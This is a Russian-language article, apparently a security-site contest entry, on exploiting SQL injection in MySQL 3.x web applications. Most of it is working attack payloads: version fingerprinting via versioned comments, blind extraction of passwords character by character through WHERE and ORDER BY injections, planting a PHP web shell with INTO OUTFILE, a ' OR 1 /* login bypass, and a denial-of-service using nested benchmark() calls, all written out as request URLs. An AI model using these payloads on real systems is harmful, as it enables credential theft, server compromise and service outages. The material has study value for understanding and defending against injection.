Хотя в настоящее время MySQL третей версии можно встретить все реже и реже, все же вследствие немалой популярности этой СУБД, третья версия все еще установлена на очень большом количестве сервером. В некоторых случаях просто никто не хочет обновить систему, в некоторых считают, что так безопаснее, в некоторых следить за сервером просто некому. Даже некоторыми хакерами считается что, если на сервере используется СУБД MySQL третей версии, то это случай безнадежный. Однако, у меня есть свое мнение на этот счет, и я хочу показать, что в некоторых ситуациях данный вопрос имеет свой ответ.
Призы для победителей конкурса предоставил компьютерный интернет магазин
В настоящее время можно встретить большое количество статей, описывающих эксплуатацию уязвимости SQL инъекцию, в одной из самых распространенных СУБД, MySQL. Практически все эти статьи подразумевают, что на уязвимом сервере работает четвертая версия сервера MySQL.
Действительно, в реализации языка SQL в четвертой версии сервера стало доступным ключевое слово UNION, его использование в MySQL инъекции позволит злоумышленнику получить содержание произвольных таблиц. К которым имеет доступ пользователь, из под которого происходит соединение с базой данных.
Такая ситуация привела к мнению, что в MySQL 3 SQL инъекция в принципе не может ничем грозить.
Даже некоторыми хакерами считается что, если на сервере используется СУБД MySQL третей версии, то это случай безнадежный. Однако, у меня есть свое мнение на этот счет, и я хочу показать, что в некоторых ситуациях данный вопрос имеет свой ответ.
Хотя в настоящее время MySQL третей версии можно встретить все реже и реже, все же вследствие немалой популярности этой СУБД, третья версия все еще установлена на очень большом количестве сервером. В некоторых случаях просто никто не хочет обновить систему, в некоторых считают, что так безопаснее, в некоторых следить за сервером просто некому. Ситуации бывают разные, а MySQL 3 остается.
И так, обнаружен факт SQL инъекции. Как определить что это действительно, MySQL, и определить версию MySQL сервера.
Допустим, инъекция имеет место в запросе, типа http://localhost/test.php?id=1, в параметре id. Если страница выводит некоторое содержание, соответствующее введенному идентификатору, то можно предположить, что имеет место инъекция после where запроса. Мы считаем, что факт наличия SQL инъекции в нашем случае выявлен любыми средствами, о которых описано в настоящее время немало, и действительно имеет место.
Допустим, нападающий заметил, что он может внедрять булевы конструкции в запрос, и они явно влияют на результат запроса. Так, например http://localhost/test.php?id=1+AND+0, выведет страницу без содержания, а http://localhost/test.php?id=1+AND+1, выведет страницу, аналогичную странице с переданным параметром id=1.
Имя этот факт, уде можно составить серию запросов к серверу с целью подтвердить (или опровергнуть) предположение, что это СУБД MySQL, и, случае, если это действительно MySQL, выявить версию сервера.
И для того и для другого можно использовать особенность реализации SQL в MySQL. А именно, содержание специальных скобок вида /*!NNNNN … */ будет выполнено обычным образом, в MySQL тогда и только тогда, когда полная версия сервера (записанная подряд, без точек, с ведущими нолями в подверсиях), больше или равна чем NNNNN. В противном случае эта запись будет воспринята как комментарий.
Одновременно, в реализации языка SQL в большинстве современных СУБД, это запись будет воспринята как комментарий в любом случае.
Учитывая, что, в любом случае, записанная таким образом версия mySQl сервера будет больше, чем 00000, то запись /*!00000 Any_SQL_commands */ будет эквивалента Any_SQL_commands, в любом запросе в MySQL. Одновременно, эта запись будет эквивалента комментарию в любых других СУБД.
Таким образом, можно однозначно определить MySQL, в нашем примере, сделав следующий запрос: http://localhost/test.php?id=1+/*!00000+AND+0+*/.
Вывод пустой страницы (эквивалент запроса http://localhost/test.php?id=1+AND+0), будет однозначно свидетельствовать о том, что имеет место взаимодействие действительно с СУБД MySQL. В противном случае, это, скорее всего не MySQL. Следует учесть, что все это верно только в идеальной ситуации – отсутствие фильтрации и т.п., что однако, не редкость.
Используя этот прием, можно однозначно определит, имеет СУБД MySQL в нашем случае версию 3.x или 4.x. Достаточно сделать следующий запрос: http://localhost/test.php?id=1+/*!40000+AND+0+*/. Этот запрос вернет пустую страницу (в нашем примере), тогда и только тогда, когда версия MySQL сервера 4.x.
Пользуясь дихотомическим поиском, нетрудно определить и точную версию MySQL сервера. Для этого, достаточно будет составить следующую серию запросов:
http://localhost/test.php?id=1+/*!40000+AND+0+*/
http://localhost/test.php?id=1+/*!41000+AND+0+*/
http://localhost/test.php?id=1+/*!40500+AND+0+*/
http://localhost/test.php?id=1+/*!40300+AND+0+*/
http://localhost/test.php?id=1+/*!40400+AND+0+*/
…
http://localhost/test.php?id=1+/*!40311+AND+0+*/
http://localhost/test.php?id=1+/*!40312+AND+0+*/
В случае, если предпоследний запрос вернул пустую страницу, о последний вернул страницу, аналогичную http://localhost/test.php?id=1, то можно однозначно судить, что MySQL сервер имеет версию 4.3.12
Еще один метод определения версии MySQL сервера состоит в использовании функции version(), которая возвращает строку с текущей версией. Этот метод можно применять в случаях, если какие либо причины мешают использовать предыдущий метод. Например, происходит фильтрация символов /.
К примеру, если запрос http://localhost/test.php?id=1+AND+(version()+like+’4%’) возвратит страницу, соответствующую идентификатору id=1, то можно однозначно судить о том, что MySQL сервер имеет четвертую версию.
Если применение кавычек мешает фильтрация, то вместо строки можно использовать функцию, которая в качестве значения вернет необходимую строку. Можно использовать char(), функцию, которая возвращает строку, соответствующую из символов с ASCII кодами которые приняты в качестве аргументов.
Пример. Запрос http://localhost/test.php?id=1+AND+(version()+like+char(25,34)), будет аналогичен предыдущему, но не будет содержать кавычек.
Пользуясь этим примером можно выявить и полную версию СУБД MySQL, либо последовательно подбирая все символы, либо пользуясь дихотомическим поиском, используя сравнение строк в лексикографическом порядке.
Стоит отметить, что подомным же образом можно подобрать и значения других функций, которые могут быть интересны нападающему. User() – возвращает имя пользователя MySQL из под которого произошло подсоединение с базой данных. Database() – возвращает имя текущей базы данных.
Даже, если инъекция происходит в произвольном запросе в произвольном месте, выяснить MySQl это или нет, и версию MySQL аналогичным образом можно, например внедряя внутри этих скобок значения, которые однозначно “испортят” запрос.
http://localhost/test.php?id=1+/*!40000+AND+blablabla+*/, и нападающий сможет узнать, выполнились ли инструкции (которые не являются синтаксически верными инструкциями MySQL), или нет, по тому, нормально функционирует скрипт при таком запросе (инструкции были восприняты как комментарий), или нет (инструкции были проинтерпретированы как часть запроса).
Следует помнить, что инструкции должны быть синтаксически верными, однако приводящими к ошибке в запросе. В случае ошибки в синтаксисе, эта запись в любом случае будет воспринята как комментарий. Об этом стоит помнить, и несколько видоизменять запрос для каждой конкретной ситуации.
SQL инъекция после ключевого слова where является одним из наиболее распространенных случаев. SQL запрос в этом случае имеет примерно следующий вид select … from … where … rowN=$row …, где вставляется в запрос без надлежащей фильтрации.
В случае, если имеет место инъекция в третей версии сервера, то нижеизложенный прием позволит получить содержание любой записи любого столбца в любой таблице, используемой в запросе.
Допустим имеет место SQL инъекция в скрипте http://localhost/test.php?id=1, который выводит в броузер некоторую информацию о соответствующем пользователе. Естественно, пароль пользователя не выводиться. Покажем, каким образом в MySQL 3 можно узнать как пароль произвольного пользователя, так и пароль целевого пользователя. Считаем, что пароль храниться в открытом виде в той же таблице, в которой и хранятся и остальные параметры пользователя. Те, имя этой таблицы явно участвует в запросе.
Если в таблице храниться хеш пароля, та нападающему станет известен хеш, который надо будет еще расшифровать.
Для получения информации из некоторого столбца, нужно как минимум знать имя этого столбца. В случае, если запрос сложный, то кроме имени столбца нужно еще знать имя таблицы, либо псевдонима таблицы, используемой в запросе. При чем, если псевдоним использовался, то необходимо знать именно псевдоним.
Имя таблицы или ее псевдоним понадобиться знать только в том случае, если в запросе использует более одной таблицы, и имя подбираемого столбца присутствует в более чем одной таблице, из присутствующих в запросе.
Вряд ли, более чем в одной таблице будут присутствовать такие столбцы, как login или pass и т.п, так что подбирать имя таблицы в большинстве случаев не необходимо.
Если это система с открытым
исходным кодом, или в ошибках системы выводиться достаточно информации о
запросе, то это не составит проблемы. Однако, в случае, если внешнему
пользователю ничего не известно о внутренней структуре запроса и базы данных,
то имя поля и, возможно имя таблицы придется подбирать вручную.
Пример
http://localhost/test.php?id=1+or+password=’abc’
http://localhost/test.php?id=1+or+pass=’abc’
http://localhost/test.php?id=1+or+passwd=’abc’
http://localhost/test.php?id=1+or+u.password=’abc’
http://localhost/test.php?id=1+or+user.password=’abc’
…
Если результатом одного из представленных запросов будет страница, идентичная странице с переданным идентификатором id=1, то это будет свидетельствовать о том, что имя столбца, и, возможно, имя таблицы найдено успешно.
Допустим, интересующее нас имя столбца – pass,те второй запрос вернул положительный результат.
Вычислим пароль любого пользователя системы. Пароль будем подбирать последовательно, по одной букве, либо пользуясь конструкцией like, либо пользуясь дихотомическим поиском, используя сравнение строк в лексикографическом порядке.
http://localhost/test.php?id=9999999+or+pass+like+’a%’ (-)
http://localhost/test.php?id=9999999+or+pass+like+’b%’ (-)
…
http://localhost/test.php?id=9999999+or+pass+like+’p%’ (+)
http://localhost/test.php?id=9999999+or+pass+like+’pa%’ (+)
http://localhost/test.php?id=9999999+or+pass+like+’paa%’ (-)
…
http://localhost/test.php?id=9999999+or+pass+like+’pas%’ (+)
…
http://localhost/test.php?id=9999999+or+pass+like+’pas21m1%’ (+)
http://localhost/test.php?id=9999999+or+pass+like+’pas21m1_%’ (-)
Запись, соответствующая идентификатору 9999999, не существует в базе данных, в этом стоит убедиться заранее.
Плюсом отмечен положительный результат запроса. Положительным считается результат, выводящий параметры хоть какого то пользователя в броузер. Отрицательный (-) результат имеет место в случае, если выведена страница, идентичная передачи id=9999999, те пустая страница.
При этом может выводиться как один результат, так и несколько (все найденные), в зависимости от того, как написан скрипт. Вывод параметров какого либо пользователя в броузер при каком либо запросе следует интерпретировать именно как то, что его пароль удовлетворяет этим условиям.
То что предпоследний запрос выдал положительный результат, а последний – отрицательный следует интерпретировать, что все символы пароля успешно подобраны. Действительно, если бы остался неподобранным хотя бы один символ справа то он совпал бы с символом нижнего слеша, а, возможно, остальные символы совпали бы с символом процент.
При подборе символов пароля таким способом следует помнить, что в пароле могут присутствовать как символы английского алфавита, так и цифры и другие символы. В случае, если в пароле присутствует символ _ или %, то при их подборе внутри like, эти символы следует мнемонизировать обратной косой.
Совершенно очевидно, что таким образом мы сможем подобрать пароль произвольного или нескольких произвольных пользователей в системе. Однако, не очевидно, что мы сможем подобрать пароль целевого пользователя, особенно если пользователей очень много.
Действительно, в описанной нами ситуации скорее всего будет выведен первый случайный пользователь, пароль которого удовлетворяет данным условиям. А о том, удовлетворяют эти условия целевому пользователю или нет мы никогда не узнаем, так он должен был бы вывестись вторым.
Те, если выводятся все результаты запроса, либо, играя с limit, все же можно узнать пароль целевого пользователя, но это может быть сопряжено с некоторыми трудностями.
Описанный прием лучше
применять, если достаточно знать пароль любого пользователя, те все подобные
пользователи равноправны.
Теперь, допустим, необходимо узнать пароль целевого пользователя. Для этого как
минимум необходимо выяснить, как мы сможем идентифицировать запись в БД,
соответствующую этому пользователю. Например, запись можно идентифицировать по
идентификатору, или имени пользователя, либо по другим параметрам. В любом
случае необходимо выяснить, какие значения должны быть в соответствующих
столбцах искомой записи.
Например, идентифицировать некоторую запись администратора можно было бы так:
http://localhost/test.php?id=9999999+or+(id=1), или
http://localhost/test.php?id=9999999+or+(login=’admin’)
После того, как интересующая нас запись может быть идентифицирована, можно аналогичным образом подобрать пароль.
http://localhost/test.php?id=9999999+or+(id=1+AND+pass+like+’a%’) http://localhost/test.php?id=9999999+or+(id=1+AND+pass+like+’b%’)
и так далее.
Кроме того, для убыстрения поиска, в обоих случаях, можно воспользоваться дихотомическим поиском.
http://localhost/test.php?id=9999999+or+(id=1+AND+pass+>=+’k’) (-)
http://localhost/test.php?id=9999999+or+(id=1+AND+pass+>=+’g’) (+)
http://localhost/test.php?id=9999999+or+(id=1+AND+pass+>=+’h’) (-)
http://localhost/test.php?id=9999999+or+(id=1+AND+pass+>=+’fk’)
и так далее, последовательно перебирать каждую букву.
Стоит отметить, что в любом описанном в этой статье случае, строковую константу, заключенную в кавычки, можно заменить на функцию char(), с соответствующими аргументами.
В нередких случаях внедрение произвольного кода возможна после ключевого слова order by. Наиболее часто подобная инъекция возможна, когда скрипт принимает в качестве параметра имя столбца, по которому следует произвести упорядочивание, и вставляет его в запрос без предварительной фильтрации.
Так как ключевое слово where согласно синтаксису SQL должно находиться перед order by, таким образом, невозможно внедрение булевых функций, ограничивающих вывод с целью получения информации о значениях некоторых записей.
Однако, в MySQL после order by, разрешено использовать функции и значения столбцов в произвольной комбинации, и пользуясь этим фактом, можно подобрать значения любых столбцов для произвольной и целевой записи в любой таблице, используемой в запросе.
Допустим, скрипт http://localhost/test2.php?order=id выводит список пользователей системы, упорядочив их по id, причем значение переменной order вставляется в скрипт без надлежащей фильтрации.
Стоит вспомнить, что в MySQL булевы значения приводятся к целым значениям, соответственно 0 и 1.
Заметим следующую особенность, http://localhost/test2.php?order=(-id*1) упорядочит строки от большего id к меньшему, и это понятно, так как упорядочивание происходит по противоположной функции.
Одновременно http://localhost/test2.php?order=(-id*0) выведет записи в естественном порядке, без всякого упорядочивания. Скорее всего, это будет тот порядок, в котором записи добавлялись в базу данных, и скорее всего, это будет порядок по возрастанию id. Это поведение также объяснимо. В этом случае упорядочивание происходит по функции, которая константно равна нулю на всем множестве полей, те, для любой записи в БД, значение (-id*0) одинаково и равно нулю. Т.е, никакого упорядочивания произведено не будет.
Ну, и как говорилось ранее, вместо нуля или единицы можно вставлять произвольные булевы условия, значение которых MySQL приведет к целому.
Примеры http://localhost/test2.php?order=(-id*(2=1)), или
http://localhost/test2.php?order=(-id*(‘abc’=’abc’))
Эти булевы условия могут содержать в том числе и значения других столбцов таблиц.
http://localhost/test2.php?order=(-id*(pass+like+’a%’))
http://localhost/test2.php?order=(-id*(pass+like+’b%’))
и так далее.
Теперь осталось научиться различать, отгадали мы или нет. В этом случае, в случае, если пароль не удовлетворяет введенному условию, то значение функции по которой делается упорядочивание будет равно нулю для таких записей.
В случае, если пароль для некоторых записей удовлетворяет введенному условию, то для таких записей упорядочивание произойдет по значению –id, которое всегда меньше нуля.
Если нет уверенности в том, что значение id всегда больше нуля, то можно поступить след образом:
http://localhost/test2.php?order=(-(abs(id)+1)*(pass+like+’b%’))
Теперь, функция, по которой происходит упорядочивание всегда меньше нуля для записей, для которых пароль удовлетворяет условию, и равен нулю, для которых условие для пароля неверно. Учитывая, что упорядочивание происходит по возрастанию, то все записи, для которых условие окажется верным, окажутся вверху списка.
Если нет гарантии, что упорядочивание действительно происходит по возрастанию, можно добавить ключевое слово ASK, и, возможно, обрезать оставшуюся часть запроса, символом /*, или %00.
Напомним, что /* обозначает открытие комментария. MySQL нормально реагирует на незакрытые комментарии в запросе. %00 же колирует символ с котом ноль, который в Си подобных языках обозначает конец строки, и функция MySQL API mysql_query(), посчитает этот символ обычным концом строки, а, значит и запроса.
Пример: http://localhost/test2.php?order=(-(abs(id)+1)*(pass+like+’b%’))+ASK+/*
И так, допустим исходное упорядочивание, по –id, было таким:
5 user5
4 user4
3 user3
2 admin
1 root
и, после запроса http://localhost/test2.php?order=(-id*(pass+like+’b%’)) стало таким:
4 user4
2 admin
1 root
3 user3
5 user5, то этот результат следует интерпретировать, как то, что пароли у user4 и admin начинаются на символ b.
Аналогичным образом подбирается и весь пароль.
Если нас интересует пароль любого пользователя, то положительным результатом мы считаем, если в “вылезшем наверх” списке пользователей присутствует хотя бы один пользователь. Если же нас интересует пароль, какого то конкретного пользователя, то положительным результатом мы считаем то, что, этот пользователь присутствует в вылезшем наверх списке.
В качестве основы этого метода лежит упорядочивание по произведению двух функций – отрицательной для всех записей основной функции, и сигнальной булевой функции. Знак минус взят для того, чтобы интересующие нас результаты появлялись в начале списка, а не в конце, те просто для удобства.
В большинстве случаев, в качестве основной функции можно взять (-id), или (-(abs(id)+1)), однако, это может быть и любая другая функция, возвращающая разные значения для разных записей в таблице. Например, это может быть длина некоторого текстового поля, или даже комбинации некоторых функций от некоторых полей.
В этом примере, аналогичным образом можно использовать дихотомический поиск, и функцию char() вместо строк-констант.
Действительно, почти безнадежным делом в инъекции в MySQL 3.x может стать то, что инъекция возможна после ключевого слова limit. Это вероятно в тех ситуациях, когда скрипт принимает и, не фильтруя, вставляет в запрос параметр, отвечающий за количество или смещение выведенных записей (например, номер страницы, количество записей на странице).
К счастью программиста, допустившего ошибку, и к разочарованию хакера, после параметрами limit могут быть только целые числа, а не выражения.
Конструкция into outfile в руководстве MySQL описана идущей сразу после select, однако, как показывает практика, ее можно поставить и в самый конец запроса, после limit. Таким образом, единственное, что сможет сделать хакер в такой ситуации, это попытаться сохранить результаты запроса в файл с произвольным месторасположением и именем.
Напомним, что имеется несколько ограничений.
Файл не должен существовать на диске
У пользователя MySQL должны быть права на работу с файлами (file_priv)
Целевая директория должна быть доступна на запись всем пользователям.
Имя файла должно быть с полным путем.
Имя файла должно быть строкой в кавычках. Использования выражений не допускается
Таким образом, если хакер знает полный путь до веб каталога на сервере, знает имя папки, в которую разрешена запись всем пользователям (такую папку он сможет найти и перебором), то нападающий сможет вывести результаты запроса в файл, в том числе с расширением, сопоставленным с некоторым интерпретатором, например PHP.
Однако, как внедрить в результат запроса злонамеренные данные, например PHP Shell код? Ответ на этот вопрос не очевиден, и дать на него ответ должен сам нападающий, исследуя конкретную систему.
Так, например, если инъекция после limit возможна в скрипте, выводящем сообщения на форуме, в параметре, отвечающим за номер страницы, то, вероятно, для положительного результата следует добавить сообщение на форуме, содержащее PHP Shell код, и затем произвести сохранение результатов запроса в файл.
Запрос может быть примерно таким http://localhost/test3?page=34+into+outfile+’/path/to/web/banners/cmd.php’, где на 34-ую страницу форума добавлено сообщение типа <? System($_GET[‘cmd’]) ?>
В случае, если, кроме того, на сервере присутствует уязвимость типа local php source code injection, то практически в любом случае таким образом можно создать файл с PHP shell кодом в любой общедоступной на запись директории, с последующем подцеплением этого файла в уязвимости типа PHP инъекция. Например, директория /tmp/, обычно доступна на запись всем пользователям.
Стоит еще раз заметить, что в качестве имени файла нельзя использовать выражения, а, значит, и привычный фокус с char(), не пройдет в случае, если кавычки фильтруются.
Стоит отметить, что фокус с into outfile будет возможен и в других двух вышеописанных случаях, и эксплуатироваться он будет примерно также.
Внимание.
Все приведенные HTTP запросы в статье – это всего лишь примеры, демонстрирующие принцип. В реальных системах запросы могут выглядеть иначе, иметь более сложный вид, однако принцип сохраниться тот же.
Я не стал описывать в статье подробно некоторые другие довольно часто встречаемые ошибки в скриптах, которые довольно подробно описаны и в других источниках.
Например, если при сравнении пароля с паролем в БД используется функция like а не =, то значение % совпадет с любым паролем.
Кроме того, если инъекция происходит вследствие слабой фильтрации имени пользователя или пароля, то можно авторизоваться в системе под любым пользователем, введя примерно следующий пароль (или имя пользователя) ‘ OR 1 /*
Кроме того практически в любой ситуации, когда имеет место уязвимость SQL инъекция, и можно внедрять произвольные выражения, можно с минимальными средствами заставить MySQL сервер исчерпать все сви ресурсы - заставить потреблять 100% свободного процессорного времени или набрать максимум разрешенных соединений.
В первом случае результаты сервер будет отдавать со значительной временной задержкой, во втором, попытки новых соединения с сервером будут отсекаться.
Функция BenchMark в MySQL используется для того чтобы вычислить заданное выражение заданное количество раз. Так например benchamrk(1000000, md5(current_time)) в зависимости от вычислительных мощностей сервера будет вычисляться около 30-60 секунд. Если же функцию сделать вложенной: benchamrk(1000000, benchamrk(1000000, md5(current_time))), то вычисление такой функции займет очень много времени на сервере любой конфигурации.
Теперь осталось только внедрить эту функцию в SQL запрос, так чтобы в нем не произошло ошибки:
http://localhost/test.php?id=1-benchamrk(1000000,benchamrk(1000000, md5(current_time))), или
http://localhost/test2.php?order=(benchamrk(1000000,benchamrk(1000000, md5(current_time))))
Теперь, для эффективной DoS атаки достаточно сделать серию таких HTTP запросов на сервер. Дожидаться ответа не обязательно, достаточно, чтобы запрос дошел до сервера. Серию таких запросов можно организовать как вручную, через броузер, так и скриптом.
В зависимости от мощности сервера, будет достаточно от нескольких десятков до нескольких сотен таких запросов.
Следует учесть, что для эффективной атаки, результат запроса не должен нигшде кешироваться. Для того, чтобы предотвратить кэширование на прокси сервер, в каждый запрос можно добавлять случайную величину:
http://localhost/test.php?id=1-benchamrk(1000000,benchamrk(1000000, md5(current_time)))-46323279
Многие в настоящее время считают, что если они используют MySQL сервер третей версии, то они защищены от уязвимости типа SQL инъекция. Я всего лишь показал, что это не так :)
От редакции SecurityLab.ru: Данная статья была прислана до публикования статьи Посимвольный перебор в базах данных на примере MySQL, поэтому возможное совпадение некоторых моментов, в этих двух статьях, является случайным.